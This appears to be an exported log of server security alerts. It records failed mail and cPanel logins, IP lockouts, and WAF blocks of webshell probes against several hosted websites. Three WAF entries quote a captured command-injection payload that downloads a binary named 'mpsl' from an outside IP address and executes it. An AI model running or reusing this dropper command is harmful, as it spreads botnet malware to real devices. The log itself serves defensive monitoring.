name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: astlog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/wp-conflg.php||SC:/home/astlogc/public_html/wp-admin/images/wp-conflg.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:32:22 dovecot_login authenticator failed for H=(kL7ZHSs) [158.94.208.215]:60376: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:32:09 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58250: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/images/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:33:10 dovecot_login authenticator failed for H=(z3qumv) [158.94.208.215]:52042: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.24.238
country_id: 798544
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/krisfood/public_html/wp-admin||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:33:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.64.112.158
country_id: 1210997
description:
2026-01-31 23:34:31 dovecot_login authenticator failed for H=(ADMIN) [64.64.112.158]:37360: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: astlog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/astlogc/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:34:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63227: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:34:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:34:22 dovecot_login authenticator failed for H=(DBRt5R) [158.94.208.215]:57797: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.236.145.128
country_id: 6252001
description:
2026-01-31 23:35:23 dovecot_login authenticator failed for H=(node12.vindb.org) [104.236.145.128]:44061: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:35:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58223: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:35:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.22
country_id: 1269750
description:
2026-01-31 23:35:33 dovecot_login authenticator failed for H=([182.95.181.22]) [182.95.181.22]:55774: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:35:40 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56870: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:35:10 dovecot_login authenticator failed for H=(QMiJ8RlIr8) [158.94.208.215]:63843: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:36:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-01-31 23:36:59 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [27.72.46.152]:49066: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: box.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home2/woh/public_html/images/class.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:36:22 dovecot_login authenticator failed for H=(NiBhuojXO) [158.94.208.215]:56957: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:36:42 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:55124: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 4.193.194.148
country_id: 1880251
domain: box.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/woh/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.118
country_id: 1269750
description:
2026-01-31 23:37:11 dovecot_login authenticator failed for H=([128.185.243.163]) [182.95.119.118]:50880: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.10.98.29
country_id: 1643084
description:
[2026-01-31 23:37:21 +0800] info [cpaneld] 182.10.98.29 - manforce "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:37:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.244.46
country_id: 1269750
description:
2026-01-31 23:37:51 dovecot_login authenticator failed for H=([152.52.244.46]) [152.52.244.46]:48924: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:37:10 dovecot_login authenticator failed for H=(IrAHozt3SF) [158.94.208.215]:52209: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-01-31 23:37:42 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [98.122.215.23]:53694: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-01-31 23:37:24 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:54407: 535 Incorrect authentication data (set_id=hrd@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-31 23:38:09 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:47510: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:38:22 dovecot_login authenticator failed for H=(KlTM4j) [158.94.208.215]:61726: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-31 23:38:39 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:41123: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-31 23:38:40 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:54688: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:39:10 dovecot_login authenticator failed for H=(y5vKnYGw8l) [158.94.208.215]:57263: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.160.206
country_id: 1269750
description:
2026-01-31 23:39:35 dovecot_login authenticator failed for H=([125.19.160.206]) [125.19.160.206]:42986: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.142
country_id: 1269750
description:
2026-01-31 23:39:24 dovecot_login authenticator failed for H=([182.95.215.71]) [182.95.230.142]:35346: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.234
country_id: 1835841
description:
2026-01-31 23:39:25 dovecot_login authenticator failed for H=([210.206.24.238]) [210.206.24.234]:38921: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-01-31 23:39:55 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:62304: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.174.184.86
country_id: 1814991
description:
2026-01-31 23:39:12 dovecot_login authenticator failed for H=([222.174.184.86]) [222.174.184.86]:46891: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 23:39:15 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:32058: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:39:19 dovecot_login authenticator failed for H=(Vew92V0u) [178.16.54.138]:64041: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.70
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'nr>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:36695/mpsl; curl -o http://130.12.180.20:36695/mpsl; busybox wget http://130.12.180.20:36695/mpsl; busybox curl -o http://130.12.180.20:36695/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||


plugin: modsec
rule: 77142263
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.70
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'NR>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:36695/mpsl; curl -O http://130.12.180.20:36695/mpsl; busybox wget http://130.12.180.20:36695/mpsl; busybox curl -O http://130.12.180.20:36695/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:40:21 dovecot_login authenticator failed for H=(BuBtAXGlp0) [158.94.208.215]:59492: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:40:32 dovecot_login authenticator failed for H=(zYc2x9) [178.16.54.138]:50364: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77789665
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.70
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'NR>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:36695/mpsl; curl -O http://130.12.180.20:36695/mpsl; busybox wget http://130.12.180.20:36695/mpsl; busybox curl -O http://130.12.180.20:36695/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:41:55 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:41:08 dovecot_login authenticator failed for H=(n0AYnhrYh) [178.16.54.138]:56853: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:41:09 dovecot_login authenticator failed for H=(tjp7q3h8A8) [158.94.208.215]:52632: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.210
country_id: 99237
description:
2026-01-31 23:41:06 dovecot_plain authenticator failed for H=(libumeran) [65.20.191.210]:37748: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:41:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54195: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:42:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:42:21 dovecot_login authenticator failed for H=(f6zj6w8Y) [158.94.208.215]:51147: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:42:57 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62042: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:42:12 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64993: 535 Incorrect authentication data (set_id=testing@mamstg.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:42:22 dovecot_login authenticator failed for H=(CjucQBcVb) [178.16.54.138]:59145: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: mokshana.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home/mokshanacom/public_html/images/class.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.211.164.12
country_id: 2077456
domain: mokshana.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/mokshanacom/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.91.69.136
country_id: 2635167
description:
2026-01-31 23:43:32 dovecot_login authenticator failed for H=(jHwXd7) [185.91.69.136]:65509: 535 Incorrect authentication data (set_id=miner_sandy)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:43:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 23:43:30 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:38810: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:43:38 dovecot_login authenticator failed for H=(OEqlmpL) [178.16.54.138]:62101: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:43:49 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58843: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:43:09 dovecot_login authenticator failed for H=(DreNc4HX) [158.94.208.215]:49863: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-01-31 23:43:50 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:58223: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/home/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:44:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.89.110.57
country_id: 1814991
description:
2026-01-31 23:44:19 dovecot_login authenticator failed for H=([101.89.110.57]) [101.89.110.57]:58700: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:44:18 dovecot_login authenticator failed for H=(vGzRifwta) [158.94.208.215]:63633: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:44:15 dovecot_login authenticator failed for H=(tNeg6Ug) [178.16.54.138]:50515: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.241.214.127
country_id: 1814991
description:
2026-01-31 23:44:33 dovecot_login authenticator failed for H=([223.241.214.127]) [223.241.214.127]:59178: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:44:06 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:64153: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.19.200.63
country_id: 660013
description:
2026-01-31 23:44:12 dovecot_login authenticator failed for H=([146.19.200.63]) [146.19.200.63]:58408: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:45:29 dovecot_login authenticator failed for H=(irmFztQ) [178.16.54.138]:64457: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.205.178
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603871 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:45:12 dovecot_login authenticator failed for H=(c9fs3nKS) [158.94.208.215]:52935: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:45:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:46:07 dovecot_login authenticator failed for H=(2qjNqR) [178.16.54.138]:57089: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-01-31 23:46:38 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:48530: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-31 23:46:59 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:24792: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:46:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:46:08 dovecot_login authenticator failed for H=(WG2uasgCd) [158.94.208.215]:54849: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-31 23:47:01 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:56452: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:46:41 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:8027: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:46:15 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:50271: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:47:23 dovecot_login authenticator failed for H=(GqbcKdL) [178.16.54.138]:50922: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.124.133.35
country_id: 2017370
description:
2026-01-31 23:47:24 dovecot_login authenticator failed for H=([92.124.133.35]) [92.124.133.35]:51820: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.115.113.138
country_id: 1814991
description:
2026-01-31 23:47:46 dovecot_login authenticator failed for H=([27.115.113.138]) [27.115.113.138]:60112: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:47:09 dovecot_login authenticator failed for H=(vtoJ0CS5) [158.94.208.215]:59611: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.70.134
country_id: 1819730
description:
2026-01-31 23:47:57 dovecot_login authenticator failed for H=42-200-70-134.static.imsbiz.com [42.200.70.134]:36495: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:47:56 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63901: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.229
country_id: 337996
description:
2026-01-31 23:47:10 dovecot_login authenticator failed for H=([196.189.124.229]) [196.189.124.229]:41394: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-01-31 23:47:42 dovecot_login authenticator failed for H=(wohcheong.com.my) [61.50.119.110]:36960: 535 Incorrect authentication data (set_id=nologin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:47:48 dovecot_login authenticator failed for H=(ou6Zocxjm) [158.94.208.215]:49682: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.218
country_id: 337996
description:
2026-01-31 23:47:02 dovecot_login authenticator failed for H=([196.189.124.218]) [196.189.124.218]:35988: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:48:36 dovecot_login authenticator failed for H=(LWfREygT6N) [178.16.54.138]:49636: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-01-31 23:48:26 dovecot_login authenticator failed for H=([20.46.45.121]) [20.46.45.121]:51086: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:48:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50440: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:48:05 dovecot_login authenticator failed for H=(9Z2Cb849) [158.94.208.215]:60583: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-01-31 23:48:07 dovecot_login authenticator failed for H=(wohcheong.com.my) [61.50.119.110]:41208: 535 Incorrect authentication data (set_id=service@wohcheong.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:49:43 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
